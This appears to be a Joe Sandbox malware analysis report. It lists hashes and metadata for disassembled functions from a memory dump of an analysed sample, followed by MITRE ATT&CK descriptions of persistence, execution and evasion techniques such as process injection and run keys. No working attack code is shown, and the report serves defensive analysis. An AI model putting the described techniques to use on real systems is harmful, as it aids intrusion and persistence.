Instruction ID: 8793fac5c6df2884400c09eae2d245c1a566d336514fd6283a6ee4b89e23775f
Opcode Fuzzy Hash: 38bb0797435f3f3e06de13988d079cd4bd348e19c1d6278303e57a3c95d01b2d
Instruction Fuzzy Hash: CFA12713D18FC992E2225B3D96026FAB720FFA6348F45A311EFC922515EF39E295D740

Function 00007FF77FA0B260 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.14168868282.00007FF77FA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77FA00000, based on PE: true

Associated: 00000005.00000002.14168817177.00007FF77FA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169708130.00007FF77FD61000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169756730.00007FF77FD64000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD65000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD69000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169881513.00007FF77FD6C000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff77fa00000_926085a3ba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ec542817aeed97f441c899a7a6a2e0cb26798a16997a26981bc7fea0c88407d
Instruction ID: 13a67edd5a2664970e428a5a8d57d8db68101354cb46a60c1c3b558630a4c525
Opcode Fuzzy Hash: 2ec542817aeed97f441c899a7a6a2e0cb26798a16997a26981bc7fea0c88407d
Instruction Fuzzy Hash: 89914813D28FC592E2255B3DA6026F9A730FFE5388F45A311EFC912621EB39E295C740

Function 00007FF77FA0ED70 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.14168868282.00007FF77FA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77FA00000, based on PE: true

Associated: 00000005.00000002.14168817177.00007FF77FA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169708130.00007FF77FD61000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169756730.00007FF77FD64000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD65000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD69000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169881513.00007FF77FD6C000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff77fa00000_926085a3ba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b0947d0868641a8ae3bef455c4b94ddc8bb6b6d886c615d8484d5e271edded9
Instruction ID: 56d022065dbd51989b82bb33c8af393e184a6833118933d9e915778d64da3a78
Opcode Fuzzy Hash: 4b0947d0868641a8ae3bef455c4b94ddc8bb6b6d886c615d8484d5e271edded9
Instruction Fuzzy Hash: 0241E5DAC29FB945E723A33A6D43286D9109EF7589951E303FCB439E65F701B4D13224

Function 00007FF77FA095A0 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.14168868282.00007FF77FA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77FA00000, based on PE: true

Associated: 00000005.00000002.14168817177.00007FF77FA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169708130.00007FF77FD61000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169756730.00007FF77FD64000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD65000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD69000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169881513.00007FF77FD6C000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff77fa00000_926085a3ba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cede5878e3bd3d7d96aebfa4ca37e5dd0cfcb025fc2e8992b4704f06235e5cf
Instruction ID: 90c1e977351504c8c3354a26eda146b9f8c93e3f34436b054f226d58fc51f069
Opcode Fuzzy Hash: 3cede5878e3bd3d7d96aebfa4ca37e5dd0cfcb025fc2e8992b4704f06235e5cf
Instruction Fuzzy Hash: 9341B412D1CFC991E6134B3D91015E5A360FFAA388F15D722FED832271EB26B6C69700

Function 00007FF77FA0B5A0 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.14168868282.00007FF77FA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77FA00000, based on PE: true

Associated: 00000005.00000002.14168817177.00007FF77FA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169708130.00007FF77FD61000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169756730.00007FF77FD64000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD65000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD69000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169881513.00007FF77FD6C000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff77fa00000_926085a3ba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59ee0376741b915f91bd85b599e26324d605420558e42bb7ea22d7bdae3fd819
Instruction ID: 35c4d7e27d539e5ddda1599681a0e75c6dfc54d1ba48a0fbda6fb9c2fcfd2a0c
Opcode Fuzzy Hash: 59ee0376741b915f91bd85b599e26324d605420558e42bb7ea22d7bdae3fd819
Instruction Fuzzy Hash: 4B314D16E1CF9E21F623567980076722A006EB71D8501C73BBD9AF05B3D7A27A80B633

Function 00007FF77FA0BCC0 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.14168868282.00007FF77FA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77FA00000, based on PE: true

Associated: 00000005.00000002.14168817177.00007FF77FA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169708130.00007FF77FD61000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169756730.00007FF77FD64000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD65000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD69000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169881513.00007FF77FD6C000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff77fa00000_926085a3ba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f19b86a61d086bb454cd15cd51638e7a22c08416d675b086c09403c481547e8e
Instruction ID: 83d082a7a9fb64a988cd5e514d5047d46d348992ac11402340837b102bb01a2c
Opcode Fuzzy Hash: f19b86a61d086bb454cd15cd51638e7a22c08416d675b086c09403c481547e8e
Instruction Fuzzy Hash: 50312A25E10FBE61F62356BAC0076721A00DDB7FD8A05E71BBD98F0593DFB15E88A211

Function 00007FF77FA078A0 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.14168868282.00007FF77FA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77FA00000, based on PE: true

Associated: 00000005.00000002.14168817177.00007FF77FA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169708130.00007FF77FD61000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169756730.00007FF77FD64000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD65000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD69000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169881513.00007FF77FD6C000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff77fa00000_926085a3ba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4efb22784e4e17a2b8a6c748aa3121f52410c40561d1a3711c9f1c6d5bdce676
Instruction ID: 7698fd29bb28ccc8e6290b12dca7733e90f0ad3de8c521d5625a7fa89de4d4bc
Opcode Fuzzy Hash: 4efb22784e4e17a2b8a6c748aa3121f52410c40561d1a3711c9f1c6d5bdce676
Instruction Fuzzy Hash: CE31682AC3DFD791F713873E6407565D614AFF3285A81E31BB9E831822FB119380A308

Function 00007FF77FA0E400 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.14168868282.00007FF77FA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77FA00000, based on PE: true

Associated: 00000005.00000002.14168817177.00007FF77FA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169708130.00007FF77FD61000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169756730.00007FF77FD64000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD65000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD69000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169881513.00007FF77FD6C000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff77fa00000_926085a3ba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b376ad8a1162ce3042ebef56d6a6a2f8e177532a54a68e03f022e848293315d
Instruction ID: 6cf2ff9721f1094b5c9fc7188f4c05034d5a6ba6c397b0ec9b4e68f4b9e9e1f0
Opcode Fuzzy Hash: 7b376ad8a1162ce3042ebef56d6a6a2f8e177532a54a68e03f022e848293315d
Instruction Fuzzy Hash: 5D21B6A2620ACA52E6204FA5A414ACBA331F3597C4B55D226EF9D17354CB3DE411C300

Function 00007FF77FA07A40 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.14168868282.00007FF77FA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77FA00000, based on PE: true

Associated: 00000005.00000002.14168817177.00007FF77FA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169708130.00007FF77FD61000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169756730.00007FF77FD64000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD65000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD69000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169881513.00007FF77FD6C000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff77fa00000_926085a3ba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3608016e66e80f3edef84418df2e9105160d427f0824d013ec342462020be9c6
Instruction ID: dbfd6f638daffcb585c2ec3d0e041907e1ac5603ab7b11e650dba77a973c02ae
Opcode Fuzzy Hash: 3608016e66e80f3edef84418df2e9105160d427f0824d013ec342462020be9c6
Instruction Fuzzy Hash: B231F822D39AD751F2523778A602AFAD300AF93354FC2D332E55935492FE2C259091E5

Function 00007FF77FA07740 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.14168868282.00007FF77FA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77FA00000, based on PE: true

Associated: 00000005.00000002.14168817177.00007FF77FA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169708130.00007FF77FD61000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169756730.00007FF77FD64000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD65000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD69000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169881513.00007FF77FD6C000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff77fa00000_926085a3ba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 327295e52a37b6ea025cd2dde1d11135dbdca83d7294c17f622611ec3b357784
Instruction ID: 983b556abed6bc3c927db7e98022f6b9a8d84d64d4cff71b0c4938aa45f22db0
Opcode Fuzzy Hash: 327295e52a37b6ea025cd2dde1d11135dbdca83d7294c17f622611ec3b357784
Instruction Fuzzy Hash: 7621242AC3DFDB51F613933E6507566D600AFF3285A91E72FBEA834C62E71147806268

Function 00007FF77FA0B760 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.14168868282.00007FF77FA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77FA00000, based on PE: true

Associated: 00000005.00000002.14168817177.00007FF77FA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169708130.00007FF77FD61000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169756730.00007FF77FD64000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD65000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD69000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169881513.00007FF77FD6C000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff77fa00000_926085a3ba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 429c38b16138194702f667c55535cc2f86ff954004639886ca04fc12ea1eea0e
Instruction ID: dee3e0e87bb4611881a6d3c67111ad19a8ba5f028201dcac74d3c39dff10152f
Opcode Fuzzy Hash: 429c38b16138194702f667c55535cc2f86ff954004639886ca04fc12ea1eea0e
Instruction Fuzzy Hash: 0D118115D1CFDE21F663457A8107A7166006EB71E8501CB3BBD9AF05B3E75379807632

Function 00007FF77FA0BE60 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.14168868282.00007FF77FA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77FA00000, based on PE: true

Associated: 00000005.00000002.14168817177.00007FF77FA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169708130.00007FF77FD61000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169756730.00007FF77FD64000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD65000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD69000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169881513.00007FF77FD6C000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff77fa00000_926085a3ba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b2e6c169ae94c7fae1caa405473e4d40fcf381a3e230e6e6d3cb083efee97dd
Instruction ID: 0494873033cde5652172b0e8c822dafc81b5821e8d4e310d0909673c4bfd12a0
Opcode Fuzzy Hash: 8b2e6c169ae94c7fae1caa405473e4d40fcf381a3e230e6e6d3cb083efee97dd
Instruction Fuzzy Hash: 32110A15D14FFE21F663557AC107A710600DEB7ED8901EB1BBD98F0693EFB19D88A220

Function 00007FF77FA0EFE2 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.14168868282.00007FF77FA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77FA00000, based on PE: true

Associated: 00000005.00000002.14168817177.00007FF77FA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169708130.00007FF77FD61000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169756730.00007FF77FD64000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD65000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD69000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169881513.00007FF77FD6C000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff77fa00000_926085a3ba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f49ff8109a83ad7ffc9268b084fbd3e3fe13c788c7cc49ec16bdf3f8ab1762e9
Instruction ID: 64bdcceb959df1f4862abe08d77e15d0a83b5243ec3c2d9e2aa759102e6c2369
Opcode Fuzzy Hash: f49ff8109a83ad7ffc9268b084fbd3e3fe13c788c7cc49ec16bdf3f8ab1762e9
Instruction Fuzzy Hash: 560124EAC24FAA42E723A3396943282DA10AEF3589520E307FDF834E55F305B5D07220

Function 00007FF77FA01380 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.14168868282.00007FF77FA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77FA00000, based on PE: true

Associated: 00000005.00000002.14168817177.00007FF77FA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169708130.00007FF77FD61000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169756730.00007FF77FD64000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD65000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD69000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169881513.00007FF77FD6C000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff77fa00000_926085a3ba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00041c4d9b6021bd7268743e75341ac9f422d742c08481849cac6ad422316a98
Instruction ID: 71a20ed7684b96f809ac9c441d2e65394518fda79b98af02951ccdd1bada95ee
Opcode Fuzzy Hash: 00041c4d9b6021bd7268743e75341ac9f422d742c08481849cac6ad422316a98
Instruction Fuzzy Hash: CDF0E2323383E005CB95CA36B508F996DD19391BC8F52C030A90CC3F44F92EC6018B40

Function 00007FF77FA01330 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.14168868282.00007FF77FA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77FA00000, based on PE: true

Associated: 00000005.00000002.14168817177.00007FF77FA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169708130.00007FF77FD61000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169756730.00007FF77FD64000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD65000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD69000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169881513.00007FF77FD6C000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff77fa00000_926085a3ba.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c83208bef4d752e21eecc982e00e41a7b9bb589477a0b7ed4897396d2cb2cab
Instruction ID: fa2820274e507a7353715131f15bdcd5fe9b278d3984675733722b3363472b81
Opcode Fuzzy Hash: 2c83208bef4d752e21eecc982e00e41a7b9bb589477a0b7ed4897396d2cb2cab
Instruction Fuzzy Hash: 8CE04F727283A445C79ACA372608E996A94A315BD9F43C030E90DC3E45F92FC6018B80

Function 00007FF77FBA73AC Relevance: 9.1, APIs: 6, Instructions: 57COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF77FB97169,?,?,?,?,00007FF77FBA88DC), ref: 00007FF77FBA73BB
FlsSetValue.KERNEL32(?,?,?,00007FF77FB97169,?,?,?,?,00007FF77FBA88DC), ref: 00007FF77FBA73F1
FlsSetValue.KERNEL32(?,?,?,00007FF77FB97169,?,?,?,?,00007FF77FBA88DC), ref: 00007FF77FBA741E
FlsSetValue.KERNEL32(?,?,?,00007FF77FB97169,?,?,?,?,00007FF77FBA88DC), ref: 00007FF77FBA742F
FlsSetValue.KERNEL32(?,?,?,00007FF77FB97169,?,?,?,?,00007FF77FBA88DC), ref: 00007FF77FBA7440
SetLastError.KERNEL32(?,?,?,00007FF77FB97169,?,?,?,?,00007FF77FBA88DC), ref: 00007FF77FBA745B

Memory Dump Source

Source File: 00000005.00000002.14168868282.00007FF77FA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77FA00000, based on PE: true

Associated: 00000005.00000002.14168817177.00007FF77FA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169708130.00007FF77FD61000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169756730.00007FF77FD64000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD65000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169797624.00007FF77FD69000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.14169881513.00007FF77FD6C000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff77fa00000_926085a3ba.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: f99dd7f94c6e1229e1ce2addd52bc6048f4593aca92494607a387b28fac5c039
Instruction ID: 9b2316521872f355c7494106e9dd2ecbbacb43abdd141e8db532bf00a3cf467f
Opcode Fuzzy Hash: f99dd7f94c6e1229e1ce2addd52bc6048f4593aca92494607a387b28fac5c039
Instruction Fuzzy Hash: C6118122B3E6C241FA56B7356B511FAE5829F487B4FA44334D83E067E6DE2CE40152E0

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
